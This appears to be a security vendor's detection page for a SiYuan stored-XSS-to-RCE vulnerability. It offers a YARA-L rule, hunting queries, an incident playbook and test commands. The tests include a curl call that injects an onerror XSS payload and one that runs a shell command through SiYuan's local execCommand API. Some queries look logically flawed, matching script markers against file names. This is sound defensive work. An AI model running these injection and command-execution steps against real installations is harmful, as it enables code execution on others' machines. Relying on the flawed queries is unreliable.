CVE-2026-54158 Google Chronicle · YARA-L

Detect SiYuan Attribute-View Stored XSS to RCE via genAVValueHTML() (CVE-2026-54158) in Google Chronicle

SiYuan note-taking kernel is vulnerable to a stored Cross-Site Scripting (XSS) flaw in the genAVValueHTML() function used to render attribute-view (database) cell values. An attacker who can write attacker-controlled content into an attribute-view cell (via shared notebook, imported document, sync, or public API) can inject HTML/JavaScript that executes in the context of the SiYuan kernel's embedded webview/Electron renderer. Because the SiYuan kernel process has file-system access and can invoke internal APIs (plugin execution, kernel command endpoints, local file read/write), successful script execution can be escalated to full remote code execution on the host running the SiYuan desktop/server kernel. Affected versions are those prior to the fixed commit 2d5d72223df4 (2026-06-28). CVSS 9.9, CWE-79 (XSS) chained with CWE-1188 (Insecure Default Initialization of Resource) enabling the RCE escalation. A public PoC/advisory exists (GHSA-5xfx-xj4h-5p7r).

MITRE ATT&CK

Tactic
Initial Access Execution Defense Evasion

YARA-L Detection Query

Google Chronicle (YARA-L)
yaral 
rule siyuan_genAVValueHTML_xss_rce
{
  meta:
    author = "df00tech"
    description = "Detects CVE-2026-54158 SiYuan stored XSS to RCE via genAVValueHTML()"
    severity = "CRITICAL"
  events:
    $proc.metadata.event_type = "PROCESS_LAUNCH"
    $proc.target.process.file.full_path = /(?i)siyuan/
    $proc.target.process.command_line = /(?i)(<script|onerror=|onload=|javascript:|eval\()/
  condition:
    $proc
}
critical severity medium confidence

Detects Chronicle UDM process launch events for the SiYuan kernel with command-line arguments containing HTML/JS injection markers consistent with stored XSS exploitation of genAVValueHTML().

Data Sources

PROCESS_LAUNCH UDM events

Required Tables

process_events

False Positives & Tuning

  • Legitimate content containing matching substrings in documentation notes
  • Internal red team validation of the PoC in a lab UDM feed

Other platforms for CVE-2026-54158

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Inject stored XSS payload into SiYuan attribute-view cell

    Expected signal: SiYuan kernel API access log entry for setAttributeViewBlockAttr; workspace .sy file modified with the injected payload string

  2. Test 2Render malicious attribute-view in SiYuan desktop client

    Expected signal: Process creation event for SiYuan.exe with workspace argument; possible child process or renderer alert dialog captured via Sysmon

  3. Test 3Escalate stored XSS to local command execution via kernel plugin API

    Expected signal: SiYuan kernel process spawning a child 'touch' process; file creation event for /tmp/siyuan_poc_marker

Last updated: 2026-08-01 Research depth: standard
References (3)

Response Playbook

Triage

  1. Identify the affected SiYuan kernel version on the host (check kernel binary version string or /appearance/boot/appconf.json) and confirm it predates the fixed commit 2d5d72223df4 (2026-06-28).
  2. Review the flagged attribute-view (.sy/.json) content for injected HTML/script tags, event handler attributes (onerror, onload), or javascript: URIs, and identify the source notebook/document and its origin (shared link, sync, import, or public API).
  3. Correlate the timestamp of the suspicious write with subsequent SiYuan kernel process activity to determine whether the payload rendered and spawned unexpected child processes or made unusual outbound/API calls.
  4. Check SiYuan kernel logs and OS-level process/file telemetry for any child processes, file reads/writes outside the workspace directory, or plugin invocations immediately following the injected content being opened/rendered.

Containment

  1. Isolate or disconnect the affected host from the network to prevent further data exfiltration or lateral movement if RCE is suspected, and immediately stop/disable the SiYuan kernel process.
  2. Revoke any shared notebook/workspace links or public API tokens that could have been used to inject the malicious attribute-view content, and rotate SiYuan API access tokens.
  3. Upgrade SiYuan to a version built after commit 2d5d72223df4 or apply the vendor patch before restarting the kernel service.

Evidence Collection

  1. Preserve the full contents of the affected workspace/data directory, including the raw .sy attribute-view files containing the injected payload, for forensic analysis.
  2. Collect SiYuan kernel application logs, OS process creation logs (Sysmon Event ID 1 / EDR equivalents), and network connection logs for the time window surrounding the suspicious render event.
  3. Capture a memory snapshot of the SiYuan kernel process if active exploitation and RCE are suspected, to recover any injected script or dropped payload artifacts.

Escalation Criteria

  • !Escalate to incident response if any child process spawned by the SiYuan kernel executes shell commands, downloads external payloads, or accesses files/credentials outside the SiYuan workspace directory.
  • !Escalate if the injected attribute-view content originated from an external/shared source (public link, federated sync, third-party plugin marketplace) indicating potential supply-chain or multi-user compromise.
  • !Escalate if evidence of persistence (scheduled tasks, modified SiYuan plugins, startup script changes) is found on the host running the vulnerable kernel.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Attribute-view database files (.sy) or workspace JSON containing embedded <script>/onerror/javascript: payloads
  • >SiYuan kernel process command-line arguments and child process tree at the time the malicious cell was rendered
  • >SiYuan kernel HTTP API access logs showing the source (IP/user/token) that wrote the malicious attribute-view content

Tuning Guidance

Baseline legitimate SiYuan usage patterns (expected process names, typical workspace directories, and normal plugin child-process behavior) before enabling this rule in blocking/alerting mode, since technical documentation notes may legitimately contain strings like 'eval(' or 'script' in code blocks. Suppress alerts from known documentation/training workspaces and tune the regex to require actual HTML tag structure (e.g., '<script' followed by a closing '>' or an event-handler attribute assignment) rather than bare keyword matches to reduce false positives from prose mentioning these terms.

Hunting Queries

Proactively hunts across the environment for any .sy attribute-view files containing HTML/script injection markers, regardless of whether the SiYuan process has rendered them yet.

Hunting — KQL
kql 
DeviceFileEvents
| where FileName endswith ".sy"
| where FileName has_any(dynamic(["<script","onerror=","javascript:"]))
| project TimeGenerated, DeviceName, InitiatingProcessAccountName, FolderPath, FileName
Hunting — SPL
spl 
index=endpoint sourcetype=osquery Filesystem.file_path="*.sy"
| regex Filesystem.file_name="(?i)(<script|onerror=|javascript:)"
| table _time, dest, user, Filesystem.file_path

Atomic Red Team Tests

Test 1 Inject stored XSS payload into SiYuan attribute-view cell
linux

Simulates an attacker writing a malicious HTML/JS payload into a SiYuan attribute-view (database) cell via the kernel's local API, mimicking the genAVValueHTML() exploitation path.

Command

bash 
curl -s -X POST http://127.0.0.1:6806/api/av/setAttributeViewBlockAttr -H 'Content-Type: application/json' -d '{"avID":"test-av-id","keyID":"test-key-id","rowID":"test-row-id","cellID":"test-cell-id","value":{"type":"text","text":{"content":"<img src=x onerror=alert(document.domain)>"}}}'

Cleanup

bash 
curl -s -X POST http://127.0.0.1:6806/api/av/setAttributeViewBlockAttr -H 'Content-Type: application/json' -d '{"avID":"test-av-id","keyID":"test-key-id","rowID":"test-row-id","cellID":"test-cell-id","value":{"type":"text","text":{"content":"cleaned"}}}'

Expected Telemetry

SiYuan kernel API access log entry for setAttributeViewBlockAttr; workspace .sy file modified with the injected payload string

Expected Detection

KQL/SPL rules alert on the .sy file write containing 'onerror=' pattern

Test 2 Render malicious attribute-view in SiYuan desktop client
windows

Opens the previously injected attribute-view document in the SiYuan desktop client to trigger genAVValueHTML() rendering and observe script execution in the embedded webview.

Command

powershell 
Start-Process -FilePath "C:\Program Files\SiYuan\SiYuan.exe" -ArgumentList "--workspace=C:\SiYuanTestWorkspace"

Cleanup

powershell 
Stop-Process -Name SiYuan -Force -ErrorAction SilentlyContinue; Remove-Item -Recurse -Force C:\SiYuanTestWorkspace\data\storage\av\test-av-id.json -ErrorAction SilentlyContinue

Expected Telemetry

Process creation event for SiYuan.exe with workspace argument; possible child process or renderer alert dialog captured via Sysmon

Expected Detection

elastic_eql sequence rule fires on SiYuan process launch followed by unexpected child process spawn

Test 3 Escalate stored XSS to local command execution via kernel plugin API
macos

Simulates the escalation step where injected JavaScript calls an internal SiYuan kernel endpoint (e.g., file export or system exec API) to achieve code execution on the host, demonstrating the CWE-1188 chain from XSS to RCE.

Command

bash 
curl -s -X POST http://127.0.0.1:6806/api/system/execCommand -H 'Content-Type: application/json' -d '{"cmd":"touch /tmp/siyuan_poc_marker"}'

Cleanup

bash 
rm -f /tmp/siyuan_poc_marker

Expected Telemetry

SiYuan kernel process spawning a child 'touch' process; file creation event for /tmp/siyuan_poc_marker

Expected Detection

qradar_aql and crowdstrike_cql rules alert on SiYuan-initiated child process execution correlating with the prior XSS injection event

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0005Defense Evasion

Related Techniques

T1059.007JavaScriptT1203Exploitation for Client ExecutionT1554Compromise Host Software Binary

Same Tactic: Initial Access

Popular Detections